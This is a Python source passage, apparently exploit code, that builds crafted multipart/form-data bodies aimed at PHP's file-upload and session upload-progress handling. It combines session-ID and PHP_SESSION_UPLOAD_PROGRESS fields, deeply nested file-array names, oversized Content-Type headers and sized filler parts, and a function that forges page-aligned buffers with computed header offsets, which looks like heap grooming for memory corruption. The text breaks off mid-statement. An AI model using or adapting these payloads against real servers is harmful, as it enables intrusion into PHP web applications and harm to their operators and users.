import struct BOUNDARY = b"C" * 10 def nest_name(i, depth, key_pad): if depth < 2: raise ValueError("depth must be >= 2") return ("files[R%05d%s]" % (i, "K" * key_pad)).encode() + b"[a]" * (depth - 2) def _part(out, b, name, value=b"", filename=None, ctype=None): out.extend(b"--" + b + b"\r\nContent-Disposition: form-data; name=\"" + name + b"\"") if filename is not None: out.extend(b"; filename=\"" + filename + b"\"") out.extend(b"\r\n") if ctype is not None: out.extend(b"Content-Type: " + ctype + b"\r\n") out.extend(b"\r\n" + value + b"\r\n") def build_a1(cfg, boundary=BOUNDARY): out = bytearray() _part(out, boundary, b"PHPSESSID", bytes.fromhex(cfg.get("sid_hex", "00"))) for i in range(cfg["parts"]): if i == 0: ctype, fname = b"C" * 103, b"A" elif i == 1: ctype, fname = b"C" * 231, b"A" else: ctype, fname = b"application/octet-stream", b"" out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" + nest_name(i, cfg["depth"], cfg["key_pad"]) + b"\"") out.extend(b"; filename=\"" + fname + b"\"\r\nContent-Type: " + ctype + b"\r\n\r\n") for i in range(cfg["fillers128"]): _part(out, boundary, ("f%04d" % i).encode().ljust(103, b"x")[:103], b"v" * 8) for i in range(cfg["big"]): _part(out, boundary, ("b%04d" % i).encode(), b"B" * cfg["big_len"]) for i in range(cfg["burners"]): _part(out, boundary, ("u%02d" % i).encode(), b"U" * cfg["burner_len"]) _part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"k" * cfg["progress_len"]) for i in range(cfg.get("tail", 0)): name = ("t%02d" % i).encode().ljust(35, b"t")[:35] _part(out, boundary, name, b"T" * 35) out.extend(b"--" + boundary + b"--\r\n") return bytes(out) def build_a2(cfg, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY): out = bytearray() _part(out, boundary, b"PHPSESSID", sid) _part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress) for i in range(cfg["fillers"]): _part(out, boundary, ("%03d" % i).encode(), b"x") for i in range(cfg["parts"]): out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" + nest_name(i, cfg["depth"], cfg.get("key_pad", 0)) + b"\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n") out.extend(b"--" + boundary + b"--\r\n") return bytes(out) def _tag8(idx, tagged): if tagged: return b"/" + ("%02d" % (idx % 100)).encode() + b"BBBBB" return b"BBBB/BBB" def _forge_fill(pages, page, fake_len, idx, tagged): length = pages * 4096 - 25 v = bytearray(b"A" * length) hdr = page * 0x1000 - 0x1018 if 0 <= hdr and hdr + 0x20 <= length: struct.pack_into("